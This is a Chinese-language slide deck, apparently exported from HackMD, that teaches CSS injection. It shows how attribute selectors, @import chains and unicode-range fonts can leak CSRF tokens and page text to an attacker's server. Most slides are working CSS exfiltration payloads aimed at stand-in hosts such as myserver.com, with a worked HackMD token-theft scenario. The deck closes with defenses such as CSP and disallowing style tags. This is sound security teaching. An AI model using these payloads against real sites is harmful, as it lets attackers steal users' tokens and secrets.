YAMLException: expected a single document in the stream, but found more

title: css injection
tags: udn

CSS injection


What?

可以在一個頁面上可以插入任何的 CSS 語法

(顧名思義: 你可以插入 <style> 這個標籤)


  1. 網站可以插入 HTML,但是由於 CSP 無法執行 JavaScript
  2. 雖然網站有過濾掉許多 HTML 標籤,但不覺得 < style > 有問題,所以沒有過濾掉。像 DOMPurify 就把 < style > 設定在安全標籤

How?

屬性選擇器 X 利用 CSS 發出 request
1. 屬性選擇器
  1. input[value^=a] 開頭是 a 的(prefix)
  2. input[value$=a] 結尾是 a 的(suffix)
  3. input[value*=a] 內容有 a 的(contains)

How?

屬性選擇器 X 利用 CSS 發出 request
2. 利用 CSS 發出 request
<input name="secret" value="abc123">
input[name="secret"][value^="a"] { background: url(https://myserver.com?q=a) } input[name="secret"][value^="b"] { background: url(https://myserver.com?q=b) } input[name="secret"][value^="c"] { background: url(https://myserver.com?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://myserver.com?q=z) }

Note:
因為第一條規則有順利找到對應的元素,所以 input 的背景就會是一張伺服器上的圖片,而瀏覽器就會發 request 到 https://myserver.com?q=a。

因此,當我在 server 收到這個 request 的時候,我就知道「input 的 value 屬性,第一個字元是 a」,就順利偷到了第一個字元。


How?

屬性選擇器 X 利用 CSS 發出 request
CSRF token
<form action="/action"> <input type="hidden" name="csrf-token" value="abc123"> <input name="username"> <input type="submit"> </form>

X 這樣無法 (input 亦無法從 css 直接強迫顯示)

input[name="csrf-token"][value^="a"] { background: url(https://example.com?q=a) }

Note:
因為 input 的 type 是 hidden,所以這個元素不會顯示在畫面上,既然不會顯示,那瀏覽器就沒有必要載入背景圖片,因此 server 不會收到任何 request。而這個限制非常嚴格,就算用 display:block !important; 也沒辦法蓋過去。


O 這樣可能可以

input[name="csrf-token"][value^="a"] + input { background: url(https://example.com?q=a) } form:has(input[name="csrf-token"][value^="a"]){ background: url(https://example.com?q=a) }

Note:

  • input,這個加號是另外一個選擇器,意思是「選到後面的元素」,所以整個選擇器合在一起,就是「我要選 name 是 csrf-token,value 開頭是 a 的 input,的後面那個 input」,也就是 <input name="username">

有了 :has,這個選擇器可以選到「底下符合特殊條件的元素」
意思就是我要選到「底下有(符合那個條件的 input)的 form」,所以最後載入背景的會是 form,一樣也不是那個 hidden input。這個 has selector 很新,從上個月底釋出的 Chrome 105 開始才正式支援,目前只剩下 Firefox 的穩定版還沒支援了,詳情可看:


How?

屬性選擇器 X 利用 CSS 發出 request
偷 meta

<meta name="csrf-token" content="abc123">

meta 這個元素一樣是看不見的元素,要怎麼偷呢?


偷 meta
  1. has
html:has(meta[name="csrf-token"][content^="a"]) { background: url(https://example.com?q=a); }

偷 meta
  1. 強迫顯示
head, meta { display: block; } meta[name="csrf-token"][content^="a"] { background: url(https://example.com?q=a); }

Note: meta 雖然也看不到,但跟 hidden input 不同,我們可以自己用 CSS 讓這個元素變成可見,可是這樣還不夠,你會發現 request 還是沒有送出,這是因為 meta 在 head 底下,而 head 也有預設的 display:none 屬性,因此也要幫 head 特別設置,才會讓 meta「能被看到」


實例

偷 HackMD 的資料
<meta name="csrf-token" content="DochvZSX-kH2TbFcmn-rviBGiBCnpUFX8ttk">

偷 HackMD 的資料
可行的原因
  1. 支援使用 <style>
  2. 支援即時更新 (因為 csrf token 重整會換,但我們需要一直更新 style)

偷 HackMD 的資料

Note: 準備好偷第一個字元的 style,插入到 HackMD 裡面
受害者打開頁面
伺服器收到第一個字元的 request
從伺服器更新 HackMD 內容,換成偷第二個字元的 payload
受害者頁面即時更新,載入新的 style
伺服器收到第二個字元的 request
不斷循環直到偷完所有字元


偷 HackMD 的資料
BUT

就算偷到了 HackMD 的 CSRF token,依然還是沒辦法 CSRF,因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等,確保 request 來自合法的地方。


補充 1

不支援即時更新的網站?

在不使用 JS 的情況下怎麼動態載入新的 style?

使用 @import

Note: 在 CSS 裡面,你可以用 @import 去把外部的其他 style 引入進來,就像 JavaScript 的 import 那樣。


不支援即時更新的網站?

引入 style 的迴圈

<style>=== @import url(https://myserver.com/start?len=8) </style>

server 回傳

@import url(https://myserver.com/payload?len=1) @import url(https://myserver.com/payload?len=2) @import url(https://myserver.com/payload?len=3) @import url(https://myserver.com/payload?len=4) @import url(https://myserver.com/payload?len=5) @import url(https://myserver.com/payload?len=6) @import url(https://myserver.com/payload?len=7) @import url(https://myserver.com/payload?len=8)

Note: 重點來了,這邊雖然一次引入了 8 個,但是「後面 7 個 request,server 都會先 hang 住,不會給 response」,只有第一個網址 https://myserver.com/payload?len=1 會回傳 response,內容為之前提過的偷資料 payload


不支援即時更新的網站?

第一次回傳的 style

input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } input[name="secret"][value^="c"] { background: url(https://b.myserver.com/leak?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://b.myserver.com/leak?q=z) }

Note: 當瀏覽器收到 response 的時候,就會先載入上面這一段 CSS,載入完以後符合條件的元素就會發 request 到後端,假設第一個字是 d 好了,接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response


不支援即時更新的網站?

假設是 d 開頭,回傳以下的 style,然後以此類推

input[name="secret"][value^="da"] { background: url(https://b.myserver.com/leak?q=da) } input[name="secret"][value^="db"] { background: url(https://b.myserver.com/leak?q=db) } input[name="secret"][value^="dc"] { background: url(https://b.myserver.com/leak?q=dc) } //.... input[name="secret"][value^="dz"] { background: url(https://b.myserver.com/leak?q=dz) }

Note: 這邊有一點要特別注意,你會發現我們載入 style 的 domain 是 myserver.com,而背景圖片的 domain 是 b.myserver.com,這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制,所以如果你全部都是用 myserver.com 的話,會發現背景圖片的 request 送不出去,都被 CSS import 給卡住了。


不支援即時更新的網站?

Firefox 不支援前面的做法,需改下面做法,Chrome 也支援

<style>@import url(https://myserver.com/payload?len=1)</style> <style>@import url(https://myserver.com/payload?len=2)</style> <style>@import url(https://myserver.com/payload?len=3)</style> <style>@import url(https://myserver.com/payload?len=4)</style> <style>@import url(https://myserver.com/payload?len=5)</style> <style>@import url(https://myserver.com/payload?len=6)</style> <style>@import url(https://myserver.com/payload?len=7)</style> <style>@import url(https://myserver.com/payload?len=8)</style>

Note: 除此之外,上面這種方式在 Firefox 是行不通的,因為在 Firefox 上就算第一個的 response 先回來,也不會立刻更新 style,要等所有 request 都回來才會一起更新。解法的話可以參考這一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然後每一個字元的 import 都用額外的 style 包著。


補充 2

一次只偷一個字元?

HackMD 的 CSRF token 共有 36 個字,要發 36 個 request?


一次只偷一個字元?

prefix selector + suffix selector

input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } // ... input[name="secret"][value$="a"] { border-background: url(https://b.myserver2.com/suffix?q=a) } input[name="secret"][value$="b"] { border-background: url(https://b.myserver2.com/suffix?q=b) }

Note: 要特別注意的是開頭跟結尾的 CSS,一個用的是 background,另一個用的是 border-background,是不同的屬性,因為如果用同一個屬性的話,內容就會被其他的蓋掉,最後只會發出一個 request。
除此之外,也可以朝 server 那邊去改善,例如說改用 HTTP/2 或甚至是 HTTP/3,都有機會能夠加速 request 載入的速度,進而提升效率。


補充 3

前面是偷屬性,其他東西?

unicode-range


前面是偷屬性,其他東西?
<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "Ampersand"; src: local("Times New Roman"); unicode-range: U+26; } div { font-size: 4em; font-family: Ampersand, Helvetica, sans-serif; } </style> <div>Me & You = Us</div> </body> </html>

Note: 「unicode-range」,可以針對不同的字元,載入不同的字體。& 的 unicode 是 U+0026,因此只有 & 這個字會用不同的字體來顯示,其他都用同一個字體。


前面是偷屬性,其他東西?
<!DOCTYPE html> <html> <body> <style> @font-face { font-family: "f1"; src: url(https://myserver.com?q=1); unicode-range: U+31; } @font-face { font-family: "f2"; src: url(https://myserver.com?q=2); unicode-range: U+32; } @font-face { font-family: "f3"; src: url(https://myserver.com?q=3); unicode-range: U+33; } @font-face { font-family: "fa"; src: url(https://myserver.com?q=a); unicode-range: U+61; } @font-face { font-family: "fb"; src: url(https://myserver.com?q=b); unicode-range: U+62; } @font-face { font-family: "fc"; src: url(https://myserver.com?q=c); unicode-range: U+63; } div { font-size: 4em; font-family: f1, f2, f3, fa, fb, fc; } </style> Secret: <div>ca31a</div> </body> </html>

前面是偷屬性,其他東西?

如果你去看 network tab,會看到一共發送了 4 個 request:
可以得知頁面上有:13ac 這四個字元。


前面是偷屬性,其他東西?

侷限

  1. 我們不知道字元的順序為何
  2. 重複的字元也不會知道

前面是偷屬性,其他東西? | 解決字元順序

字體高度差異 + first-line + scrollbar

  1. 內建字體「Comic Sans MS」的字體,高度就比另一個「Courier New」高
  2. unicode-range css 屬性控制字元的字體
  3. 用 css 限制寬高,並透過 scrollbar 是否顯示,來發 request

DEMO


前面是偷屬性,其他東西? | 解決字元順序
div { font-size: 0px; height: 40px; width: 20px; font-family: fc, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; --leak: url(http://myserver.com?C); } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); }

前面是偷屬性,其他東西? | 解決重複字元

某些字型當中,會把一些特定的組合 render 成連在一起的樣子,出現時就把他的寬度拉超大讓 scrollbar 出現


前面是偷屬性,其他東西? | 解決重複字元

實戰上的話,可以用 SVG 搭配其他工具,在 server 端迅速產生字體


防禦

  1. 不給用 style
  2. 若開放 style,則用 CSP 限制資源載入(例如限制只能讀取特定來源的字體,阻擋@import 使用)
  3. 預想某些東西被偷走之後可以對應的方式

Note: 3. 預想若 CSRF token 被偷走可以怎麼防禦

Select a repo